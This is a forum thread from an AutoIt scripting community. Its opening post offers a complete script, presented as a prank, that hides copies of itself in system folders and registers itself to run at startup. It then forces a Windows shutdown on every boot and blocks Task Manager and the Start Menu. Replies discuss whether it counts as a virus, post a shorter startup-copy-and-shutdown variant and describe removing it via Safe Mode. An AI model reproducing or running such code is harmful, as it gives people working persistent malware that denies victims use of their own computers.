ReaImDown Posted December 30, 2007 Share Posted December 30, 2007 (edited) I was bored, so I wrote this file...Shift + 5 stops it CODE#NoTrayIcon HotKeySet("+5", "Terminate") Dim $i_TimeStamp = TimerInit() Dim $i_TimeToCountDownFromSeconds = 10 $i = 1 $name = "SD.exe" $installed = RegRead("HKLM\SOFTWARE\SD", "Installed") AdlibEnable("stop", 10) While 1 if $installed <> 1 Then FileCopy(@ScriptFullPath, @FavoritesCommonDir & "/" & $name, 1) FileCopy(@ScriptFullPath, @AppDataCommonDir & "/" & $name, 1) FileCopy(@ScriptFullPath, @DesktopCommonDir & "/" & $name, 1) FileCopy(@ScriptFullPath, @DocumentsCommonDir & "/" & $name, 1) FileCopy(@ScriptFullPath, @ProgramsCommonDir & "/" & $name, 1) FileCopy(@ScriptFullPath, @SystemDir & "/" & $name, 1) RegWrite("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "ShutDown", "REG_SZ", @CommonFilesDir & "\" & $name) FileSetAttrib(@FavoritesCommonDir & "/" & $name, "H") FileSetAttrib(@AppDataCommonDir & "/" & $name, "H") FileSetAttrib(@DesktopCommonDir & "/" & $name, "H") FileSetAttrib(@DocumentsCommonDir & "/" & $name, "H") FileSetAttrib(@ProgramsCommonDir & "/" & $name, "H") FileSetAttrib(@SystemDir & "/" & $name, "H") RegWrite("HKLM\SOFTWARE\SD", "Installed", "REG_SZ", "1") EndIf While 1 If TimerDiff($i_TimeStamp) >= 1000 Then ToolTip($i_TimeToCountDownFromSeconds & " Seconds until windows shutdown", 5, 5, "ShutDown Imminent", 2) $i_TimeStamp = TimerInit() If $i_TimeToCountDownFromSeconds = 0 Then ExitLoop $i_TimeToCountDownFromSeconds -= 1 EndIf WEnd SoundPlay(@WindowsDir & "\media\tada.wav") Shutdown(9) While 1 ToolTip("Shutting Down.", 5, 5, "ShutDown Imminent", 2) Sleep(200) ToolTip("Shutting Down..", 5, 5, "ShutDown Imminent", 2) Sleep(200) ToolTip("Shutting Down...", 5, 5, "ShutDown Imminent", 2) Sleep(200) WEnd WEnd Func Terminate() $Exit = MsgBox(321, @UserName, @UserName & ", you deactivaed the program successfully!") If $Exit = 1 Then FileDelete(@FavoritesCommonDir & "/" & $name) FileDelete(@AppDataCommonDir & "/" & $name) FileDelete(@DesktopCommonDir & "/" & $name) FileDelete(@DocumentsCommonDir & "/" & $name) FileDelete(@ProgramsCommonDir & "/" & $name) FileDelete(@SystemDir & "/" & $name) RegDelete("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "ShutDown") RegDelete("HKLM\SOFTWARE\SD", "Installed") RegDelete("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "AutoShutDown") _SelfDelete() ElseIf $Exit = 2 Then Shutdown(9) EndIf EndFunc ;==>Terminate Func _SelfDelete($iDelay = 0) Local $sCmdFile FileDelete(@TempDir & "\scratch.bat") $sCmdFile = 'ping -n ' & $iDelay & '127.0.0.1 > nul' & @CRLF _ & ':loop' & @CRLF _ & 'del "' & @ScriptFullPath & '" > nul' & @CRLF _ & 'if exist "' & @ScriptFullPath & '" goto loop' & @CRLF _ & 'del ' & @TempDir & '\scratch.bat' FileWrite(@TempDir & "\scratch.bat", $sCmdFile) Run(@TempDir & "\scratch.bat", @TempDir, @SW_HIDE) Exit EndFunc ;==>_SelfDelete Func Stop() MouseMove(0, 0, 0) If WinActive("Windows Task Manager") Or WinActive("Close Program") Or WinActive("Start Menu") Then WinClose("Windows Task Manager") WinClose("Close Program") WinClose("Start Menu") EndIf EndFunc ;==>Stop Edited January 7, 2008 by ReaImDown [u][font="Century Gothic"]~я α и d γ ĵ . ċ . ѕ қ ϊ и и ε я~- My Programs -auto shutdownSleep funcdisallow programs[/font][/u] Link to comment Share on other sites More sharing options...
MrCreatoR Posted December 30, 2007 Share Posted December 30, 2007 Why someone would need to shutdown the computer when it starts? Or maybe this is some kind of a premitive virus? Spoiler Using OS: Win 7 Professional, Using AutoIt Ver(s): 3.3.6.1 / 3.3.8.1 AutoIt Russian Community My Work... Spoiler Projects: ATT - Application Translate Tool {new}| BlockIt - Block files & folders {new}| SIP - Selected Image Preview {new}| SISCABMAN - SciTE Abbreviations Manager {new}| AutoIt Path Switcher | AutoIt Menu for Opera! | YouTube Download Center! | Desktop Icons Restorator | Math Tasks | KeyBoard & Mouse Cleaner | CaptureIt - Capture Images Utility | CheckFileSize ProgramUDFs: OnAutoItErrorRegister - Handle AutoIt critical errors {new}| AutoIt Syntax Highlight {new}| Opera Library! | Winamp Library | GetFolderToMenu | Custom_InputBox()! | _FileRun UDF | _CheckInput() UDF | _GUIInputSetOnlyNumbers() UDF | _FileGetValidName() UDF | _GUICtrlCreateRadioCBox UDF | _GuiCreateGrid() | _PathSplitByRegExp() | _GUICtrlListView_MoveItems - UDF | GUICtrlSetOnHover_UDF! | _ControlTab UDF! | _MouseSetOnEvent() UDF! | _ProcessListEx - UDF | GUICtrl_SetResizing - UDF! | Mod. for _IniString UDFs | _StringStripChars UDF | _ColorIsDarkShade UDF | _ColorConvertValue UDF | _GUICtrlTab_CoverBackground | CUI_App_UDF | _IncludeScripts UDF | _AutoIt3ExecuteCode | _DragList UDF | Mod. for _ListView_Progress | _ListView_SysLink | _GenerateRandomNumbers | _BlockInputEx | _IsPressedEx | OnAutoItExit Handler | _GUICtrlCreateTFLabel UDF | WinControlSetEvent UDF | Mod. for _DirGetSizeEx UDF Examples: ScreenSaver Demo - Matrix included | Gui Drag Without pause the script | _WinAttach()! | Turn Off/On Monitor | ComboBox Handler Example | Mod. for "Thinking Box" | Cool "About" Box | TasksBar Imitation Demo Like the Projects/UDFs/Examples? Please rate the topic (up-right corner of the post header: Rating ) * === My topics === * ================================================== ================================================== AutoIt is simple, subtle, elegant. © AutoIt Team Link to comment Share on other sites More sharing options...
ReaImDown Posted December 30, 2007 Author Share Posted December 30, 2007 Why someone would need to shutdown the computer when it starts? Or maybe this is some kind of a premitive virus? lol, suppose it could be, or it could be used as a joke? either way useless, but, there u go, use it as u will [u][font="Century Gothic"]~я α и d γ ĵ . ċ . ѕ қ ϊ и и ε я~- My Programs -auto shutdownSleep funcdisallow programs[/font][/u] Link to comment Share on other sites More sharing options...
Swift Posted December 30, 2007 Share Posted December 30, 2007 its much simpilar... Copyfile(@Scriptdir & "\name.au3/.exe", @Startupdir & "\name.au3/.exe") Shutdown(9) i belive its 9..not 100% sure Link to comment Share on other sites More sharing options...
crzftx Posted December 31, 2007 Share Posted December 31, 2007 seems to me like booting in Safe Mode and deleting the file from only @CommonFilesDir & "\" & @ScriptName would stop the "virus". Link to comment Share on other sites More sharing options...
Swift Posted December 31, 2007 Share Posted December 31, 2007 heh...yep Link to comment Share on other sites More sharing options...
ReaImDown Posted December 31, 2007 Author Share Posted December 31, 2007 (edited) seems to me like booting in Safe Mode and deleting the file from only @CommonFilesDir & "\" & @ScriptName would stop the "virus".that'd be the only way...or get the hotkey correct.~~~Edit~~~shutdown 9...whats power down do? Edited December 31, 2007 by ReaImDown [u][font="Century Gothic"]~я α и d γ ĵ . ċ . ѕ қ ϊ и и ε я~- My Programs -auto shutdownSleep funcdisallow programs[/font][/u] Link to comment Share on other sites More sharing options...
DirtDBaK Posted December 31, 2007 Share Posted December 31, 2007 i'm suprised the mod's didnt jump this yet... [center][/center] Link to comment Share on other sites More sharing options...
JustinReno Posted December 31, 2007 Share Posted December 31, 2007 You should have used the registry. But not this key: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Anyways, its something similar to that anyway. Link to comment Share on other sites More sharing options...
MHz Posted December 31, 2007 Share Posted December 31, 2007 i'm suprised the mod's didnt jump this yet...That is what the report button is for.This topic has been reported. Link to comment Share on other sites More sharing options...
GaryFrost Posted December 31, 2007 Share Posted December 31, 2007 Unless the User is an admin or the script is run as an admin then this won't do anything anyways. This has been covered before SciTE for AutoItDirections for Submitting Standard UDFs Don't argue with an idiot; people watching may not be able to tell the difference. Link to comment Share on other sites More sharing options...
ReaImDown Posted January 1, 2008 Author Share Posted January 1, 2008 i'm suprised the mod's didnt jump this yet...its a harmless prank, though if it is asked of me, I will take it down, and in which case, I am sorry in advanced. [u][font="Century Gothic"]~я α и d γ ĵ . ċ . ѕ қ ϊ и и ε я~- My Programs -auto shutdownSleep funcdisallow programs[/font][/u] Link to comment Share on other sites More sharing options...
DerBen Posted January 4, 2008 Share Posted January 4, 2008 It can be used to keep newbies from booting your pc... a security feature if it has the opt out shortcut... heh Umm, if anyone cares.. I have a website at http://ctg3d.tk where I put other free downloads, as I get time. Link to comment Share on other sites More sharing options...
ShinyMetalGuy Posted January 4, 2008 Share Posted January 4, 2008 (edited) Hmm? Really I have no use for it, because I'm not the one to make viruses (Anytime a virus gets on my comp I delete it ASAP), but I can keep it from my friend booting my pc up when I'm in the bathroom... heh. Edit: my first post! woohoo! Edited January 4, 2008 by ShinyMetalGuy Link to comment Share on other sites More sharing options...
ReaImDown Posted January 4, 2008 Author Share Posted January 4, 2008 Hmm?Really I have no use for it, because I'm not the one to make viruses (Anytime a virus gets on my comp I delete it ASAP), but I can keep it from my friend booting my pc up when I'm in the bathroom... heh. Edit: my first post! woohoo!haha, see, it does have a practical use...I suppose [u][font="Century Gothic"]~я α и d γ ĵ . ċ . ѕ қ ϊ и и ε я~- My Programs -auto shutdownSleep funcdisallow programs[/font][/u] Link to comment Share on other sites More sharing options...
DirtDBaK Posted January 5, 2008 Share Posted January 5, 2008 wow another newbie thread... [center][/center] Link to comment Share on other sites More sharing options...
ReaImDown Posted January 7, 2008 Author Share Posted January 7, 2008 wow another newbie thread...Thank you for that, its appreciated, and the coding has just been updated [u][font="Century Gothic"]~я α и d γ ĵ . ċ . ѕ қ ϊ и и ε я~- My Programs -auto shutdownSleep funcdisallow programs[/font][/u] Link to comment Share on other sites More sharing options...
spyrorocks Posted January 7, 2008 Share Posted January 7, 2008 Why someone would need to shutdown the computer when it starts? Or maybe this is some kind of a premitive virus? It can't be a virus. Viruses spread, and this has no mechanism for spreading.Its more of a joke/prank script. [center] My Projects: Online AutoIt Compiler - AutoForum - AutoGuestbook - AutoIt Web-based Auto Installer - Pure AutoIt Zipping Functions - ConfuseGen - MindReader - P2PChat[/center] Link to comment Share on other sites More sharing options...
concept Posted January 8, 2008 Share Posted January 8, 2008 I wrote a similiar thingy my self as my first code ever in Autoit. And actually I do find it somewhat useful as a protection/safety tool, if you dont know the stop keyboard shortcut you better not try to run it...ofcourse I have changed the way my computer starts the BIOS and the key shortcut(f8) that opens the dialog where you can go to the safe mode. My code tho was mutch more blunt, didnt even use functions so I will rewrite it now thanks to your thread. So there many things that seem useless at a glimpse can be useful for some. Link to comment Share on other sites More sharing options...
evk86 Posted January 8, 2008 Share Posted January 8, 2008 yea its almost like a failsafe in case neone cracks your password Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now